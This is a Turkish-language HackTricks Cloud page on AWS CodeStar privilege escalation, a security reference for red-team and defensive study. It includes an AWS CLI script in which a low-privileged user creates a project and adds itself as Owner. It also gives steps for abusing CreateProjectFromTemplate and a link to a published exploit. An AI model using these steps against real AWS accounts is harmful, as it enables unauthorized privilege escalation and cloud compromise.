AWS - Codestar Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Codestar
Codestar hakkında daha fazla bilgi bulabilirsiniz:
codestar:CreateProject, codestar:AssociateTeamMember
iam:PassRole, codestar:CreateProject
Bu izinlerle bir codestar IAM Rolünü kötüye kullanarak rastgele eylemler gerçekleştirebilirsiniz cloudformation şablonu aracılığıyla. Aşağıdaki sayfayı kontrol edin:
iam:PassRole, codestar:CreateProject
codestar:CreateProject, codestar:AssociateTeamMember
Bu teknik, bir codestar projesi oluşturmak için codestar:CreateProject kullanır ve bir IAM kullanıcısını yeni bir CodeStar projesinin sahibi yapmak için codestar:AssociateTeamMember kullanır; bu da onlara birkaç ek izinle yeni bir politika verecektir.
PROJECT_NAME="supercodestar"
aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME
echo "Waiting 1min to start the project"
sleep 60
USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')
aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed
Eğer zaten projenin üyesiyseniz, codestar:UpdateTeamMember iznini kullanarak rolünüzü codestar:AssociateTeamMember yerine sahip olarak güncelleyebilirsiniz.
Olası Etki: Oluşturulan codestar politikasına privesc. Bu politikanın bir örneğini şurada bulabilirsiniz:
codestar:CreateProject, codestar:AssociateTeamMember
codestar:CreateProjectFromTemplate
- Yeni Bir Proje Oluşturun:
- Yeni bir projenin oluşturulmasını başlatmak için
codestar:CreateProjectFromTemplateeylemini kullanın. - Başarılı bir şekilde oluşturulduğunda,
cloudformation:UpdateStackiçin erişim otomatik olarak verilir. - Bu erişim,
CodeStarWorker-<generic project name>-CloudFormationIAM rolü ile ilişkili bir yığına yöneliktir.
- Hedef Yığını Güncelleyin:
- Verilen CloudFormation izinleri ile belirtilen yığını güncellemeye devam edin.
- Yığının adı genellikle iki desenle uyumlu olacaktır:
awscodestar-<generic project name>-infrastructureawscodestar-<generic project name>-lambda- Kesin ad, seçilen şablona bağlıdır (örnek istismar betiğine atıfta bulunarak).
- Erişim ve İzinler:
- Güncelleme sonrası, yığınla bağlantılı CloudFormation IAM rolü ile atanan yetenekleri elde edersiniz.
- Not: Bu, doğası gereği tam yönetici ayrıcalıkları sağlamaz. Ayrıcalıkları daha da yükseltmek için ortamda ek yanlış yapılandırılmış kaynaklar gerekebilir.
Daha fazla bilgi için orijinal araştırmaya bakın: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/.
İstismarı şurada bulabilirsiniz: https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py
Olası Etki: Cloudformation IAM rolüne privesc.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

